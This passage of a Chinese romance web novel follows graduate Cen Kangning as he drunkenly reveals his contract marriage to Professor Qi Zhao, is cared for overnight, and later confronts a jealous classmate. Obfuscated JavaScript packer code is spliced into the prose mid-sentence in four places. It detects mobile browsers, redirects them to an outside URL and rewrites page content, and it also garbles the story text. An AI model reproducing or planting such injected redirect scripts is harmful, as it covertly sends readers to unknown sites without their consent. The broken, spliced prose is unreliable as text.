他身旁的曹帅一声叹息:“没办法了,只好帮你解决一口。” 说着他拿起岑康宁盘子里的披萨,一口塞进嘴里。 有他率先出手,其他人自然也是全军出动,不一会儿的功夫就连炒饭也给岑康宁一人一口干了个干净。 整整一大盘子主食,岑康宁就吃到了两口薯条。 番茄酱都没蹭到。 他无奈扶额:“你们啊——” 曹帅说:“吃这些干啥,等会儿肉好了多吃肉,你看你瘦的。” 其他同学附和:“就是就是,宁宁多吃点。” 岑康宁故意说:“那待会儿第一盘肉熟了,我可要第一个夹。” 男生女生们一齐道:“行行行,都给你!” 岑康宁眼里泛起感动,可还没感动过一秒,有人道:“谁让你是我们班花呢?自己的班花自己宠!” 岑康宁顿时把感动憋了回去。 被拼成一个大长桌的餐桌上氛围热闹,男生女生言笑晏晏,把酒言欢,只除了一个角落里,何明博阴暗地喝着啤酒。 “明博,怎么不跟大家说话啊?” 班长凑了过来,想要调动何明博的情绪。 何明博却冷冷看了他一眼:“闭嘴,吃你的烤肉去。” 班长:OK,算我犯贱好吧? 班长悻悻地离开了,远离何明博以后,迅速和其他人打成一片。 时间一点一滴过去。 逐渐地,大家聊天聊累了,开始奋力吃东西补充体力。 一大锅一大锅的烤肉熟透了,滴出油脂,被三两下夹走,然后迅速换上下一锅。 所有人脚底下都堆了不少啤酒瓶。 就连女生也不例外。 而这时,在酒精的作用下,大家的话匣子也被打得更开,彼此说着一些从前可能永远都不会说的话。 有人表白。 有人哭泣。 有人抱着小伙伴的腰想使劲儿亲。 岑康宁喝的不多,坐在人群的中央,一边吃着第二轮拿上来的披萨和薯条,一边饶有兴致地听大家聊天打屁。 氛围很融洽暖心。 直到有一个女生忽然拿着手机说了声“卧槽”,所有人被吸引了注意力。 “怎么了?” 隔壁的另一个女生问。 那女生说:“我看到有人在校园墙上爆料我们班同学。” “咋回事咋回事?” 众人八卦的欲望瞬间升腾了起来。 女生犹豫地看了大家一眼:“要不,我还是不说了吧?不合适。” 可就算她不说。 发在校园墙上的消息,怎么可能是秘密。 很快不少人拿起手机,开玩笑似的去查探。 然后便有更多人发出了“卧槽”的声音。 “妈呀,真的假的?” “要是真的就牛了,啧啧——” “所以谁啊?” 餐桌上开始隐隐响起各种窃窃私语,像苍蝇嗡嗡一样,让岑康宁有些许不适。 他站起身来:“我去再拿点儿东西。” 曹帅说:“行,帮我再带个披萨,要你刚刚那个口味。” “吃上瘾了还。” 岑康宁笑着,错开凳子,去拿食物。 他已经吃的够饱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以,他漂亮,他活该? 岑康宁其实不懂这其中的逻辑,更不懂为什么这些人所有事情都要往下三路那地方想。 的确,岑康宁承认。 他与祁钊的关系并没有那么体面。 但这并非他被恶意揣测的理由。 他长得好看。 不是那些人伤害他的理由。 握着啤酒杯的手指兀地紧了紧,骨节瞬间清晰可见。岑康宁想,得想个办法出来。 去要求校园墙撤稿有没有用? 举报呢? 无数种解决方式在他的脑海中升腾而出,很快又如啤酒泡沫般泯灭。 不知不觉,饭桌上忽然安静下来。 岑康宁沉浸在自己的世界里,还不知道发生了什么。他心情烦躁,一杯接着一杯地喝,坐在隔壁的舍友忽然碰了碰他。 “那个康宁,好像有人找你。” “找我,谁?” 岑康宁蹙着眉心抬起头来。 然后他就看到了一身黑色长款阿玛尼风衣,和小牧羊周遭环境格格不入的祁钊,正站在拥挤的自助餐厅里。 16. 第 16 章 祁钊? 他怎么会在这里? 岑康宁一瞬间脑袋卡壳,不知道是不是酒精的作用,竟然忘了跟祁钊打招呼。 而正在这时。 祁钊却看了眼他面前餐盘上的食物,率先开了口。 “我来给我学生付账。” 他说。 岑康宁迟钝地眨两下眼,说话不经大脑:“嗯,要不帮我们也付了?” 说完他就后悔了。 他跟祁钊什么关系啊,凭什么让祁钊帮他付钱。 更何况还是帮所有人。 岑康宁当即清醒过来就想道歉,然而祁钊说: “可以。” 所有人沸腾。 “卧槽——” 岑康宁听到有人小声惊呼。 他如梦初醒,片刻的惊慌失措:“不,不用。我开玩笑的,我们毕业聚餐,有班费。” 班长趁机道:“对,钱都付过了!” 祁钊没什么特别的反应,只看了眼岑康宁,语气淡淡的:“还好吗?” “……” 岑康宁头脑瞬间一片空白。 他没说话,也没诉苦。 但不知道为什么,分明刚刚还不委屈的,现在忽然特别委屈。 一种莫名想哭的冲动袭来,很陌生。 但岑康宁控制住了自己,感觉到自己弯起眉眼,笑着说:“还行,挺好的。” 祁钊点了点头:“行。” 说罢他转身离开。 没有说再见,一切都显得那样猝不及防。 可因为他的到来,却至少有两堆人马因此而大受震撼。 其中一堆自然是岑康宁所在的土木一班。 而另一堆则是隔壁不远处,祁钊课题组的成员。 从刚刚开始,成员们就一直不住扭头望向岑康宁所在的方向,面上带着强烈的求知欲。 “谁啊,让钊哥主动去打招呼。” “不知道,感觉比校长还有排面。” “啧啧,那边儿坐着的是大学生吧,钊哥莫不是看上人家班里的好苗子想拉来读博了?” “拉倒吧,我那会儿不小心路过,人家是搞土木的。” “啥?土木?!那钊哥素在?” “emm,跟他打招呼的小哥挺好看的。” “靠!” 老不羞—— 岑康宁所在的长桌,同样在为祁钊的到来而震撼。 也许是因为上过热搜的关系,在Q大,祁钊同样是个名人。几乎是他刚一出现,就有人认出了他。 “这不是P大的那个教授吗?” “哪个哪个?” “就前段时间上热搜那个啊,你们都没看吗?刚回国下飞机就遭到各大高校哄抢,咱们学校还很丢人的去拉横幅来着。” “哦哦哦!我想起来了!姓祁的那个大佬吧?” “就,就是他,祁钊……看他百科,好厉害啊,才这么年轻就发了这么多nature,听说快评杰青了。” “真假?没记错的话他还不到三十吧。” “当然是真的,都说他科研成果其实已经够了,只是因为之前在国外才没评。” “6啊,这种大佬,和我等凡人似乎呼吸的不是一种空气。” “话又说回来了——” 正在八卦的男生忽然一扭头,火辣辣的视线定格在岑康宁身上: “康宁,你是怎么认识大佬的?” 岑康宁抿了口啤酒,早知有此发问,淡淡道:“你觉得呢?” 这个问他问题的男生就是刚刚那个语气暧昧,问他工作签哪里了,又问大学是不是也算事业单位的人。 岑康宁听得出他话里的阴阳,所以对他没什么好脸。 那男生显然也自知自己不讨喜,讪讪地闭了嘴。 但这时话题已经打开。 不止他,很多人都想知道,岑康宁到底是怎么能认识祁钊的。 毕竟岑康宁的家境不能说人尽皆知,但也有不少人有所耳闻。穿拼多多25三件短袖的人和一件外套三五万的人忽然间搭上了话,任谁都会忍不住好奇。 几个女生议论说:“祁教授好帅啊。” “真帅,刚站在那里我还以为哪个模特走错桌了。但转念一想,谁家模特来吃自助餐啊?” “就是就是,康宁,你到底怎么认识的,快告诉我们吧!” 男孩儿女孩儿脸上都写满了八卦欲。 岑康宁脸颊绯红,脸颊以外的地方却苍白至极,酒喝多了他有些难受,浑身上下每一个细胞都仿佛在战栗。 曹帅见状不对,小声问:“宁宁,你还好吧?” 然而曹帅也喝多了,脸又黑又红。 比岑康宁好不到哪里。 “还好。”岑康宁听到自己说。 他顿了顿,过了一会儿又看向刚刚问他话的那个女生:“你刚刚问我怎么认识祁钊的,对吗?” 女生愣了下,说:“对啊。” 岑康宁勾起唇角,露出浅浅的梨涡,自助餐厅明亮灯光下漂亮的像个洋娃娃一样,说: “他是我老公。” “什么?!” 长桌上所有人惊呆了。 喝酒的没喝酒的,角落里的正中心的,所有人睁大了瞳孔,震惊无比看向岑康宁。 岑康宁又是一笑:“我们是法定配偶之间的关系。” “……” 周遭鸦雀无声。 情况相当罕见。 不少其他桌的客人看向长桌的方向,人们都很好奇为什么从方才开始就热闹非凡的大学生们忽然安静了下来。 有八卦? 许多人竖起了耳朵,然而什么也没听见。 而就在岑康宁以为氛围会一直这么冷淡下去的时候,忽然,坐在他对面的女生捂住嘴巴。 “我知道了!” “你知道什么了?” 隔壁的女生问她。 女生拿起手机,晃了晃:“P大,图书馆。” “卧槽——” 有人第不知道多少次惊呼。 不少人面面相觑,看得出来,很多人都已经知道了表白墙的内容,知道他们班里出了一个“学术妲己。” 也有不少人猜出了那人可能是岑康宁。 但没想到岑康宁竟然直接承认了。 “怪不得呢。” 女生说。 她没喝酒,眼神定定地看向岑康宁,圆圆的眼睛里不无羡慕:“我听说大学教授都有配偶安置的政策,是吧康宁?” “是啊。” 岑康宁听到自己说。 说话的时候他还是笑着,因为喝了酒的缘故,漂亮多情的桃花眼里水光潋滟,让不少对面的男生女生惊呆了数秒。 嘶—— 这样的长相,能成为妲己也很正常。 可转念又一想,等等,岑康宁刚刚说他跟祁钊结婚了。这哪里还是妲己,分明是姜王后! 而且,那可是祁钊啊。 如果说刚刚在祁钊没露面以前,还有人会怀疑岑康宁是以色侍人,忍辱负重。 那么祁钊露面以后,大家心中的想法就只剩下一个: 嫉妒。 赤果果的嫉妒。 既嫉妒岑康宁,又嫉妒祁钊。 不过对于刚刚大四毕业,被就业形势不久前才狠狠蹂躏摧残过得大学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824590|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们来说,果然,还是个更嫉妒岑康宁一点。 “我靠,康宁你命也太好了吧!P大图书馆唉!” 有人吱哇乱叫。 岑康宁又喝了一口啤酒,这回没有一饮而尽,而是抿了口,用已经麻木的唇舌慢慢品尝。 “嘿嘿,是有点儿幸运。” 他说。 更多人投来羡慕嫉妒的目光—— “喝,今天必须给我灌醉康宁!谁准许他这么舒服了?” “同意,宁宁不许走,陪我决战到天明。” 还有人在嘈杂吵闹中哭唧唧:“呜嘤嘤,宁宁怎么就嫁了啊,我还没表白呢。” 啪! 身旁的男孩拍了他脑袋一下:“醒一醒,你不是一年前就表白过吗?” “哈哈哈,我记得,然后被无情拒绝来着。” 那男生捂着脑袋,也是喝多了,耍起了酒疯,把啤酒瓶当话筒,唱了起来:“往事不必再提,人生已多风雨~” 九曲十八弯的歌声让气氛再度热烈了起来。 不少人跟着唱,班长提议吃完还没玩够的可以去KTV包夜,很多人同意。 大学时光的最后一个夜晚,谁都不想这么简简单单的睡过去。 岑康宁没举手。 他脑袋已经有些不清醒。 刚刚就喝了不少酒,自爆卡车后不少人又跑来灌他,他已经喝晕乎了,整个人摇摇欲坠。 “不行,不能喝了。” 他用最后的理智道。 同一桌子316的男生里,只有宿舍的老大舍长还没喝醉。 也不知道今天是怎么了,316六个人里,曹帅岑康宁还有何明博都喝大了。 老大年纪最大,责任心也最强。 发现其他人都喝大了以后自己就不敢喝了。 “你们都别喝了,我待会儿在附近给你们开个房,去休息一晚。” 老大道:“带身份证了吗?” 岑康宁红着脸,已经开始大舌头:“带,带了……” 自打上回被宿舍楼拒之门外。 岑康宁出门前必带身份证。 老大松了口气,说:“那行,别喝了,我带你们出去。” 曹帅在一旁喝得正猛,听到这句话忽然来了精神,拽住岑康宁:“去哪儿?” 老大无奈:“还能去哪儿,去给你们几个大爷开房啊!喝这么多,还能回宿舍吗?再说了,宿舍褥子都收了,睡不了了。” 曹帅松了口气,也说不清楚自己是什么感觉,但没有放手,仍是拽着岑康宁。 “这,这样啊。那我也去。” 他说。 岑康宁还没说话,角落里,阴暗蘑菇了一整晚的何明博忽然也开口:“我也去——” 老大:“?” 但老大到底没想太多,只觉得所有人都喝大了。 “行行行,一起去。能站起来不,能站起来的话跟我出门我叫车。” 老大说。 说罢他又看向其他两个舍友,说:“你们俩先坐着,我送完他们就回来送你们。” 那两人却纷纷拒绝。 一个人说自己有女朋友接,另一个说要去KTV续摊接着玩。 老大乐得轻松:“那刚好,我们四个人开一个标间。” 说罢他扶起岑康宁,正死死拽着岑康宁的曹帅也连带着一同起立,何明博见状也忙不迭跟上。 老大就这么一拖三走到自助餐厅门口,正要掏出手机叫车,银灰色的Cybertruck在夜幕中缓缓停在他眼前。 老大:“?” 懵。 他难道也喝醉了? 自己好像还没叫车吧? 17. 第 17 章 冷风吹过。 老大清醒几分。 这车应该不是他叫得,滴滴哪能叫来这车啊。且不说价格问题,问题是这车路上就没几辆,能开上的人非富即贵,都是有门路的。 老大于是摸摸鼻子,拉着人想要往旁边儿站。 结果一拽,拽不动。 岑康宁站在原地不走,眼巴巴地看着别人的车。 老大笑出声来:“哈哈,宁宁,想坐这车啊?” 岑康宁没说话,整个人因为醉酒显得呆呆懵懵的,眼角微微泛红,谁见到他这副模样都不可能狠得下心。 老大心也软了,可心软没用啊。 这车他真叫不起。 正纠结着怎么告诉岑康宁这个残忍的事实时,嗡——车窗玻璃下降,Cybertruck里露出一张冷淡,但熟悉的侧脸。 — 祁钊讨厌醉鬼。 最讨厌自己副驾驶上的醉鬼。 载过醉鬼的车子,哪怕送去彻底清洁,也至少有一个星期味道都难以散去。 然而醉鬼麻烦就麻烦在,如果没人管他,他是真有可能把自己搞出各种意外。 急性酒精中毒,过敏,呕吐窒息。 醉后死亡率居高不下。 至少有百分之八十的原因是因为醉酒后无人照料。 作为法定伴侣,祁钊必须承认,他有看护岑康宁的职责,哪怕两人的关系只是由一份结婚协议维系。 但在结婚协议最终版第三页第32条细则中规定: 若岑康宁被送去医院急救,祁钊有紧急签字权。 绝非因为介意被从休息中吵醒,只是明天一早,祁钊的确有一个很重要的实验。 好消息:他看了眼副驾驶座上的岑康宁,人挺乖,不是酒后发疯的类型,这让祁钊多少有些庆幸。 坏消息,原来只是在车上会暂停发疯的类型。 “岑康宁。” 祁钊压低了声音,语气虽与平时几乎无异,但熟悉他的人会知道,这是祁教授生气时才有的语调。 但岑康宁充耳不闻。 他躲在沙发后,一双桃花眼又黑又亮,每一个表情细节都生动写着兴奋。 祁钊:“……” 和醉酒的人讲不了道理。 无奈下,祁钊将手中的毛绒挂件扔了出去。 那毛绒挂件是不久前自助餐厅学生送他的,说是抓娃娃抓多了,非要塞给祁钊一个。 祁钊反复拒绝无果,决定带回来,转天再以庆贺发表论文为由回赠给那学生。 可祁钊万万没想到的是,刚一回家,岑康宁就盯上了这个毛绒挂件。 起先祁钊以为是他感兴趣,遂将毛绒挂件递给他。 结果岑康宁不接,眼神看向远处。 祁钊眉心微蹙,不太明白这个醉鬼是什么意思。他决定先把毛绒挂件与岑康宁一同放下,去泡不久前外卖才送到家的解酒颗粒。 但岑康宁尾随了他。 眼睛一直看他放在茶几上的挂件。 “你想要?” 祁钊问。 岑康宁眨眼,从喉头发出很模糊的声音。 祁钊于是放下醒酒颗粒,很有耐心地走到茶几,将挂件抛给他。 结果一下捅了篓子。 这个动作仿佛瞬间唤醒了岑康宁的隐藏基因。 岑康宁反复地去追那个挂件,反复地将挂件拿回来,递给祁钊,一脸期待地看着他。 祁钊开始觉得有兴趣。 “你现在是狗吗?还是猫?” 岑康宁不说话,只盯着他手里的挂件。 祁钊将挂件一把扔了出去,这回扔地很远,一直扔到落地窗边,岑康宁高兴地追了过去,注意力却被窗帘布上的流苏所吸引。 他伸出手,很手痒地挠了挠流苏。 流苏晃动摇曳,祁钊变得确信。 “看来是猫。” 猫也会巡回游戏。 这是祁钊从实验室那只流浪猫身上知道的。 大学里有很多流浪猫非常亲人,胆子很大。那只橘白色的小猫尤甚,自从进了一次课题组办公室后就赖着不走了。 办公室里有暖气。 还有喂它的学生。 小猫脑袋不大,这方面却很聪明。 它在办公室里混吃混喝,逐渐和所有人熟悉,有一次还钻进祁钊的办公室,挠了他的皮质沙发椅。 被祁钊当场抓捕的时候,猫睁圆了一双无辜的大眼睛看他。 嗯,就跟岑康宁现在一样。 “把醒酒药喝了。” 十一点刚过,生物钟开始运转的祁钊立刻感到困倦,耐心也被消耗地所剩无几。 醒酒颗粒已经泡好了。 温热的一杯,呈现浅褐色,散发出微苦的气息。 岑康宁很嫌弃地扭开头。 祁钊面无表情把他脑袋掰回来,挠挠他的下巴。 岑小猫于是乖乖喝了下去。 …… 第二天岑康宁醒来,身体只有些微的不适感。 他从来没有醉成昨晚那样过,但他分明记得从前没这么醉的时候,早上醒来也会头疼欲裂。 怎么回事? 难道一切只是梦境? 他缓缓地睁开眼皮,意识在梦与现实中来回拉扯,很快意识到这里不是梦境。 原因很简单。 他的梦里从来都只有狭小逼仄的双人床。 落后脏兮兮的农村土炕。 人是不可能梦到自己没见过的东西的,眼前的这间房,就属于岑康宁没见过的东西。 岑康宁对这间房的第一反应是大。 太大了。 一间房而已,看上去简直要比整个黄家都要大。 其次是干净,简洁。 装修这套房的主人显然是极简主义的绝对拥护者。 能用一件家具解决的事情,他绝不用第二件。 而第二点便又更衬托的第一点尤为明显,整个房间大到空旷的地步,以至于岑康宁来回看第三遍的时候,才在角落里看到自己的行李。 看到熟悉的行李箱后。 岑康宁才算松了口气。 因为他记得自己是把行李寄来了祁钊的住处,他把单号发给了祁钊,祁钊给他回复了1。 所以……他真的来祁钊家里了,不是做梦。 恍恍惚惚中,岑康宁想起昨天发生过的一切。 他还记得自己心情不好,喝了许多酒。 又记得后来他遇到祁钊了,祁钊出面跟他打招呼,于是他干脆趁着酒劲儿当着所有人的面承认了他跟祁钊的婚姻关系。 再然后他就又被灌酒了。 不知道喝了多少。 迷迷糊糊的时候,他好像闻到了祁钊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“祁……” “醒了,先看文件。” 祁钊打断岑康宁的感谢。 客厅空气里弥漫着黑咖啡的气息,沙发上皮质靠垫被堆叠出奇怪的形状。 岑康宁好奇地瞥了祁钊一眼,意外发现眼前这个总是以一副精神百倍的姿态出现在人前的男人,眼底多了一抹陌生的青黑。 愧疚感顿时扑面袭来。 直到他打开茶几上还散发着淡淡油墨气息的结婚协议最终版2.0(6月3号修正版),翻到最后一页。 附录第312条: 甲乙两方承诺不在婚姻存续期间醉酒。(醉酒,指因为过度摄入酒精,完全失去意识与自理能力。) 第313条: 如若遇到不可控突发事件,乙方违反附录第312条。 乙方承诺自己不再要求甲方提供猫窝,以及提供洗澡梳毛剪指甲服务。 岑康宁:“?” 18. 第 18 章 “猫呢?” 岑康宁问。 祁钊面无表情将咖啡一饮而尽:“在客厅。” 岑康宁左右扭头:“咪咪~” 祁钊:“……” 岑康宁还不知道昨晚发生了什么,以为他真的发酒疯把猫带回来了。一边对祁钊道歉一边说:“对不起,我会对它负责的。” 祁钊:“你打算怎么负责?” “额……” 岑康宁顿了顿,问祁钊:“你介意我养一只宠物吗?如果你介意的话,我会帮它尽快找领养。” 祁钊放下咖啡杯,微不可闻叹了口气。 岑康宁很敏感:“怎么,你介意?” 祁钊:“不是。” 岑康宁一脸茫然:“那是?” “没有猫。” 祁钊说:“我是说,没有真猫。” 岑康宁:“?” 祁钊知道跟岑康宁三言两句解释不清,干脆发了昨晚的备忘录表格给他。 表格上清晰记录了昨晚岑康宁下达的一系列指令。 包括但不限于捕猎,猫窝,洗澡等事件。 发完后祁钊认为岑康宁也许会觉得被侵犯隐私,又耐心补充了一句:“放心,表格不会外泄,仅供参考。” 岑康宁:“……” 他正在看表格,并认为自己应该在车底。 喉头哽了哽,想说什么,又觉得此刻语言太苍白无力。 幸好这时。 滴——的一声。 六点了。 祁钊拿起外套,准备出门上班。 岑康宁如蒙大赦,心中无比感谢祁教授自律的作息。 嗯,要是祁教授有时候不那么自律一点就行了,岑康宁看着手机里巨细无比的表格想。 他没想到会有人照顾醉鬼也照顾出表格来。 每一件事都详细无比的记录在册,时间地点人物一应俱全。 岑康宁越看越觉得刚刚那条增加的附录确实该签,他以后再也不敢喝醉了。 谁知道下回还能出什么洋相。 这回是梦到捡到一只流浪猫。 下回要是梦到捡到流浪男朋友呢? 卧槽—— 一想到那个画面,岑康宁脸颊后知后觉地红透了。 他都不知道该怎么面对祁钊,还好祁钊一开始的时候没发给他这个表格。 难怪他洗了澡。 沙发上靠垫摆放的位置那么奇怪。 岑康宁后知后觉地尴尬着,手里的手机像是烫手一样,被他翻来覆去的拿起放下。 最终他鼓起勇气,忽略掉那些沙雕的记录,迅速地翻到表格最后一条,想要看看自己睡前最后作了什么妖,看完就彻底删除自己的赛博案底。 结果很意外。 最后的记录是一张照片。 拍摄角度对准他的下巴与脖颈。 “凌晨1:20分,脖子出现红色斑丘疹,推测为酒精过敏。” — “过敏原里确实是有乙醇。” 两天后,穿着白大褂的皮肤科医生拿着岑康宁的过敏原报告,如是说。 “还有点儿花粉过敏,春天的时候爱打喷嚏吗?” “打,但我以为自己是穿少了。” 岑康宁道。 “哈哈。”医生被逗乐,笑出声来:“那怎么想到来查的?” 岑康宁垂着眸小声说:“刚好要做入职体检,就顺带查一查。” 其实是因为祁钊的提醒。 否则岑康宁可能这辈子都不会来查过敏原。 他只会觉得打喷嚏是穿的少,喝酒后的战栗感很常见。 没有人告诉过他这些可能都是过敏的症状,就好像没人告诉过他,喝酒之后只要及时地喝一杯醒酒药,第二天醒来后醉酒的症状就会极度减轻。 不过其实,也没人必须要告诉他。 岑康宁自嘲地笑了笑。 医生说:“没什么,过敏的程度不高,酒还是可以喝的,少喝点儿,别喝醉就行。” 岑康宁心想,别。 再也不敢喝了。 他今天开始就把这张过敏原检测报告单拍下来,谁以后要让他喝酒,他就把单子拿出来。 看谁还敢劝。 至于花粉过敏…… “路过花丛的时候带个口罩就行,春天严重点,马上夏天就没事儿了。” 医生道。 “好的,谢谢医生。” 岑康宁站起身来,拿走检查报告,谢过医生。 体检报告还要过两天,岑康宁径直出了医院,顺手就在医院门口的药店买了一包口罩。 带上口罩以后他还有些不习惯。 觉得鼻腔闷得慌。 但果然到了学校以后,再走在那条知名的Q大花园路上,他不再打喷嚏了。 啧—— 原来真的是过敏。 岑康宁心情有些复杂,但总体来说算开心。 毕竟今天体检的结果虽然还没出来,但从经验上来说,基本没什么大问题。 还查出了一些过敏原。 肉眼可见地提升了岑康宁今后生活的顺利程度。 另外,要说还有一件事值得高兴的话,那便是校园墙事件得以解决。 散伙饭那天岑康宁在饭桌上摊牌以后,果不出所料,校园墙有了第二次更新。 “墙墙不匿,惊天大瓜,原来上一个瓜主是一班的CKN!他今天在饭桌上狼人自爆了,而且,原来他是跟隔壁校的教授结婚了,正妻来着。” 虽然没有指名道姓。 但姓名缩写也差不多圈定了岑康宁。 岑康宁在Q大算是名人,很快回复转发就要比上一条多出数倍来。 “卧槽,还真是他啊,我当时就猜是他来着。” “不愧是班花,是他的话就很合理。” “喂!你们这些人怎么光看脸啊,哪里合理了?靠脸上位就很光荣吗?” “这话就不对了,你不靠脸上位是不想吗?不偷不抢的,靠脸上位怎么了,至少人家ckn是真漂亮。” “就是,我觉得就挺好,美人配高知,绝配。” “呵呵呵,有些人真的是别太舔了,也不想想,都教授了,还能给他安排到图书馆里,能年轻吗?多半四五十了,说不定七老八十也有可能。这种高知,谁爱要谁要去,反正我是不要。” “你不要,睁大你的狗眼看看他老公的资料你再说一个?” “哈?” 有人贴出了祁钊的百度百科照片。 岑康宁其实觉得这张照片其实选的一点也不好,也就照出了平常祁钊三分之一的英俊。 而且只有上半身,彰显不出他身材的优越性。 但无所谓。 三分之一也够秒杀一切。 校园墙下哀嚎遍野,纷纷尖叫说,这也太帅了吧! “而且,还这么年轻有为,卧槽。” 领取毕业证书的房间里。 有女生对岑康宁很夸张地挤眉弄眼。 岑康宁礼貌笑笑。 女孩子们没有恶意,单纯就是八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824592|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卦。那天结束以后不少人搜索了祁钊,又被震惊一遍。 初见时震惊他的气质与容貌。 搜索的时候震惊其学术履历。 虽然隔行如隔山,但nature正刊的含金量大家都懂。而且回国前还在斯坦福任教。简简单单几行字,又是多少人的一辈子。 “你是怎么认识这种大佬的啊康宁?” 女生问道。 岑康宁在证书堆里找自己的,漫不经心道:“相亲。” “哈?相亲?” 那女生显然以为岑康宁是在开玩笑。 大概在她看来,祁钊这种人物怎么可能去相亲。 别说祁钊了。 岑康宁也不需要啊。 追他的人那么多,简直一大把。 但她没想到岑康宁说的是真话,有时候现实就是比小说电影还诡谲多变。 岑康宁没想过解释,只笑着说:“真的是相亲。” “好吧好吧,我信了你的邪。” 女生道:“唉,这个是你的!” 女生把毕业证递给他,岑康宁道过谢,顺手拿了一个红色的壳子,将毕业证套了进去。 除了毕业证以外。 他们还要拿学位证,报到证,以及Q大善心大发的毕业礼物。 毕业礼物竟然是一个玉质印章,篆刻着每个学生的姓名。岑康宁打开来看了以后,心说早发啊。 早发的话,也许他的结婚协议可以用得上。 不过这个时候说这些也已经有些太晚,岑康宁将属于自己的所有东西收集在一起,用文件袋小心地装起来,然后才放进书包里。 拿完各种文件按理来说就没事了。 今天以后他将彻底从学校毕业,再过两天估计连大门人脸识别都过不了了。 但岑康宁没来得及伤感,一个人堵在他面前。 何明博的脸色看上去很不好,阴阴沉沉,本就阴郁的长相更添几分不讨喜。 岑康宁微不可见向后退了退,跟他拉开距离。 “有事?” 何明博说:“没事就不能找你?” 岑康宁也不惯着他:“没事我先走了。” “等等——” 何明博叫住他,声音似乎带着几分气愤,问:“你那天说的事,是真的吗?” “什么事?哪一天?” 岑康宁开始觉得烦躁。 他真的是半点儿不想跟何明博说话。从前何明博也不算讨喜,但岑康宁与他勉强还能维系普通舍友关系。 自打出了刘同虎事件,他对何明博连半句话都没有了。 但何明博今天显然很是不依不饶,他死死盯着岑康宁鼻梁上的那颗小痣,嘴唇张开,吐出一句岑康宁意想不到的话来: “你不是那种人,对吧。” 事情变得有趣起来。 岑康宁品鉴着这句话里的深意,反问他:“哪种人?” “靠脸上位,不思进取。” 何明博越说越急,越说越生气,像是极力想证明什么:“你不是那种人,你一直都很自立的,否则那时候……” 那时候就不该拒绝我。 他这样想。 我也不差啊。 他想,我爸爸可是院长。 岑康宁知道的。 “哦。” 岑康宁哦了一声,表情很淡定。 随后他面上带着笑意,轻声地道:“我一直是这种人啊,只是不喜欢你。” “……” 何明博终于面色惨白,僵在原地。 19. 第 19 章 从初中开始。 就有许多人追求岑康宁。 好看的,平凡的;有钱的,没钱的。 大多数人在岑康宁的记忆中只留下一道很浅的印记,过不了多久就消失不见。 岑康宁曾确信何明博也是如此。 他与他井水不犯河水。 大一时那随便脱口而出的表白也仿佛只是一次意外事件。 后来何明博经常阴阳岑康宁,岑康宁一般当场笑脸怼回去的同时,背地里暗自庆幸,还好当初一口拒绝。 岑康宁那时候觉得恋爱是件很麻烦的事情。 当然,也是真的对何明博没什么感觉。 只是他确实也没想过,毕业后他竟然真的就不恋爱了,直接走入婚姻。 直到和祁钊开始同居的此时此刻。 岑康宁站在陌生的大门前,用指纹开锁,仍然会有一种不可思议的感觉。 他是真的结婚了。 从破旧衰败的老城区搬来了高楼林立的开发区。 从掉漆的防盗门搬到崭新灵敏的指纹锁。 一切都是新的,房间,空气,客厅沙发,甚至客厅沙发上的靠垫…… 岑康宁第一次耐心打量着眼前这所房子。 内心深处生出名为嫉妒的情绪。 “好大啊。” 他想,感觉都有三四个黄家那么大了。 黄家的房子是老破小,三室一厅一卫,最古早的房型,每一个小房间只有□□平米。 几十年来一家六口人的生活痕迹让本就不大的房间变得更加逼仄。 很多时候,岑康宁只是想转个身而已。 都会感觉到自己被绊倒。 祁钊的这套房子则不然,尽管从本质上来讲,还是三室一厅,但每一室都大的可怕。 拿岑康宁的房间来讲。 算上卫浴间,差不多一共有六七十平。 有单独的小阳台,阳台上配置了最新款的西门子洗衣机烘衣机。至于卧室内部,空间依然很大。放置了所有家具后,岑康宁要是想的话,依然可以在房间里再隔断出一个书房或者衣帽间来。 而祁钊的房间岑康宁虽然没进去过。 但想必主卧的配置只会比次卧更为豪华。 岑康宁不由得想到那天两人关于洗衣机使用频率的分歧,哑然失笑。 果然贫穷限制了他的想象力。 那时候他满心以为,跟祁钊结婚后,只不过是从一个地方的寄人篱下改变成为另一个地方的寄人篱下。 却从未想过。 原来,有些地方的寄人篱下,比有些地方的当家做主还要舒服。 再考虑到祁钊那规律到可怕的作息,舒服程度简直要加上一百倍。 是的,此刻岑康宁无比感谢祁钊规律的作息。 这几天岑康宁都住在这里。 但除了那天醉酒后的凌晨,岑康宁几乎与祁钊没有碰面。 据岑康宁推测,应当是祁钊这个人生活无比规律的原因。 每天早上,祁钊六点出发去学校。 